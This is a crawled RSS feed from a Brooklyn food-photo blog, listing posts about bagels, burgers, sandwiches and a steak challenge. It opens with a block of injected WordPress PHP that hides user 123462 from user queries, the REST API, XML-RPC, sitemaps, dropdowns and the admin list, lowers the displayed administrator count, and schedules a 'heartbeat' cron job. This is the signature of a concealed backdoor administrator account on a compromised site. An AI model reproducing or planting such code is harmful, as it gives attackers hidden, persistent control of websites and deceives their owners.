add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 123462;

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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
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    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>Rainbow Bagel W/ Funfetti Cream Cheese</title>
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		<pubDate>Fri, 19 Aug 2016 20:00:10 +0000</pubDate>
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		<category><![CDATA[Brooklyn]]></category>
		<category><![CDATA[Cream Cheese]]></category>
		<category><![CDATA[Funfetti]]></category>
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		<title>Breakfast Cemita From Smorgasburg</title>
		<link>https://damnthatlooksgood.com/breakfast-cemita-from-smorgasburg/</link>
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		<pubDate>Mon, 27 Aug 2012 13:08:47 +0000</pubDate>
				<category><![CDATA[Beans]]></category>
		<category><![CDATA[Bread]]></category>
		<category><![CDATA[Brooklyn]]></category>
		<category><![CDATA[Chorizo]]></category>
		<category><![CDATA[Eggs]]></category>
		<category><![CDATA[Fried Foods]]></category>
		<category><![CDATA[New York]]></category>
		<category><![CDATA[Salsa]]></category>
		<category><![CDATA[Sausage]]></category>
		<category><![CDATA[Tater Tots]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=80719</guid>

					<description><![CDATA[<p>Eggs, beans cheese, chorizo, pico de gallo, and tater tots. Photo courtesy of NYC Food Guy. Brooklyn, [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/breakfast-cemita-from-smorgasburg/" target="_blank">Breakfast Cemita From Smorgasburg</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=80719"><img loading="lazy" class="alignnone size-full wp-image-80720" title="3" src="http://damnthatlooksgood.com/wp-content/uploads/2012/08/3.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2012/08/3.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2012/08/3-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Eggs, beans cheese, chorizo, pico de gallo, and tater tots.</p>
<p>Photo courtesy of <a href="http://nycfoodguy.com/">NYC Food Guy</a>.</p>
<p>Brooklyn, New York</p><p>The post <a href="https://damnthatlooksgood.com/breakfast-cemita-from-smorgasburg/" target="_blank">Breakfast Cemita From Smorgasburg</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Bacon Cheeseburger From Dram Shop</title>
		<link>https://damnthatlooksgood.com/bacon-cheeseburger-from-dram-shop/</link>
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		<pubDate>Fri, 24 Aug 2012 18:17:24 +0000</pubDate>
				<category><![CDATA[Bacon]]></category>
		<category><![CDATA[Bacon Cheeseburgers]]></category>
		<category><![CDATA[Beef]]></category>
		<category><![CDATA[Bread]]></category>
		<category><![CDATA[Brooklyn]]></category>
		<category><![CDATA[Burgers]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Cheeseburgers]]></category>
		<category><![CDATA[Lettuce]]></category>
		<category><![CDATA[Mayo]]></category>
		<category><![CDATA[Mustard]]></category>
		<category><![CDATA[New York]]></category>
		<category><![CDATA[Pickles]]></category>
		<category><![CDATA[Sesame Seed Bun]]></category>
		<category><![CDATA[Tomato]]></category>
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					<description><![CDATA[<p>Photo courtesy of NYC Food Guy. Brooklyn, New York</p>
<p>The post <a href="https://damnthatlooksgood.com/bacon-cheeseburger-from-dram-shop/" target="_blank">Bacon Cheeseburger From Dram Shop</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Photo courtesy of <a href="http://nycfoodguy.com/">NYC Food Guy</a>.</p>
<p>Brooklyn, New York</p><p>The post <a href="https://damnthatlooksgood.com/bacon-cheeseburger-from-dram-shop/" target="_blank">Bacon Cheeseburger From Dram Shop</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>The 87 Ounce Steak Challenge From Lone Star Bar &#038; Grill</title>
		<link>https://damnthatlooksgood.com/the-87-ounce-steak-challenge-from-lone-star-bar-grill/</link>
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		<pubDate>Mon, 12 Dec 2011 21:39:39 +0000</pubDate>
				<category><![CDATA[Brooklyn]]></category>
		<category><![CDATA[Food Challenge]]></category>
		<category><![CDATA[Food Challenges]]></category>
		<category><![CDATA[New York]]></category>
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					<description><![CDATA[<p>&#8220;This steak challenge pits an 87-oz. slab of beef (and a side dish of your choosing) against [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/the-87-ounce-steak-challenge-from-lone-star-bar-grill/" target="_blank">The 87 Ounce Steak Challenge From Lone Star Bar & Grill</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=78601"><img loading="lazy" class="alignnone size-full wp-image-78602" title="71" src="http://damnthatlooksgood.com/wp-content/uploads/2011/12/71.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/12/71.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/12/71-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>&#8220;This steak challenge pits an 87-oz. slab of beef (and a side dish of your choosing) against you and your wallet. Finish it and you get a t-shirt, your photo posted on the restaurant’s website and your meal for free. Fail, and you’re paying a buck for every ounce of steak served.&#8221;</p>
<p>Brooklyn, New York</p><p>The post <a href="https://damnthatlooksgood.com/the-87-ounce-steak-challenge-from-lone-star-bar-grill/" target="_blank">The 87 Ounce Steak Challenge From Lone Star Bar & Grill</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Pie Wars</title>
		<link>https://damnthatlooksgood.com/pie-wars/</link>
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		<pubDate>Tue, 30 Aug 2011 16:07:40 +0000</pubDate>
				<category><![CDATA[Apple]]></category>
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					<description><![CDATA[<p>Thanks to Jacqueline for the photo! Brooklyn, New York</p>
<p>The post <a href="https://damnthatlooksgood.com/pie-wars/" target="_blank">Pie Wars</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Thanks to Jacqueline for the photo!</p>
<p>Brooklyn, New York</p><p>The post <a href="https://damnthatlooksgood.com/pie-wars/" target="_blank">Pie Wars</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Chocolate Truffles From St. Anselm&#8217;s</title>
		<link>https://damnthatlooksgood.com/chocolate-truffles-from-st-anselms/</link>
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		<pubDate>Mon, 11 Jul 2011 20:49:00 +0000</pubDate>
				<category><![CDATA[Brooklyn]]></category>
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		<category><![CDATA[New York]]></category>
		<category><![CDATA[New York City]]></category>
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					<description><![CDATA[<p>Photo courtesy of NYC Food Guy. New York, New York</p>
<p>The post <a href="https://damnthatlooksgood.com/chocolate-truffles-from-st-anselms/" target="_blank">Chocolate Truffles From St. Anselm's</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=76141"><img loading="lazy" class="alignnone size-full wp-image-76142" title="306" src="http://media.damnthatlooksgood.com/wp-content/uploads/2011/07/306.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/07/306.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/07/306-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Photo courtesy of <a href="http://nycfoodguy.com">NYC Food Guy</a>.</p>
<p>New York, New York</p><p>The post <a href="https://damnthatlooksgood.com/chocolate-truffles-from-st-anselms/" target="_blank">Chocolate Truffles From St. Anselm's</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Nicky Special From Defonte’s</title>
		<link>https://damnthatlooksgood.com/nicky-special-from-defonte%e2%80%99s/</link>
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		<pubDate>Wed, 11 May 2011 13:28:10 +0000</pubDate>
				<category><![CDATA[Brooklyn]]></category>
		<category><![CDATA[Capicola]]></category>
		<category><![CDATA[Celery]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Eggplant]]></category>
		<category><![CDATA[Fried Foods]]></category>
		<category><![CDATA[Lettuce]]></category>
		<category><![CDATA[Mushrooms]]></category>
		<category><![CDATA[New York]]></category>
		<category><![CDATA[Olive Oil]]></category>
		<category><![CDATA[Peppers]]></category>
		<category><![CDATA[Provolone]]></category>
		<category><![CDATA[Salami]]></category>
		<category><![CDATA[Sandwiches]]></category>
		<category><![CDATA[Tomato]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=64862</guid>

					<description><![CDATA[<p>Ham, capicola, salami, fried eggplant, provolone, hot salad (a mix of celery, cauliflower, red pepper, green pepper, [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/nicky-special-from-defonte%e2%80%99s/" target="_blank">Nicky Special From Defonte’s</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=64862"><img loading="lazy" class="alignnone size-full wp-image-64872" title="59" src="http://media.damnthatlooksgood.com/wp-content/uploads/2011/04/59.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2011/04/59.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2011/04/59-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>Ham, capicola, salami, fried eggplant, provolone, hot salad (a mix of celery, cauliflower, red pepper, green pepper, and pepperocini), marinated mushrooms, lettuce, tomato, oil, and vinegar.</p>
<p>Photo courtesy of <a href="http://nycfoodguy.com/2009/02/24/nyc-sandwiches-defontes-of-brooklyn-open-in-manhattan/">NYC Food Guy</a>.</p>
<p>Brooklyn, New York</p><p>The post <a href="https://damnthatlooksgood.com/nicky-special-from-defonte%e2%80%99s/" target="_blank">Nicky Special From Defonte’s</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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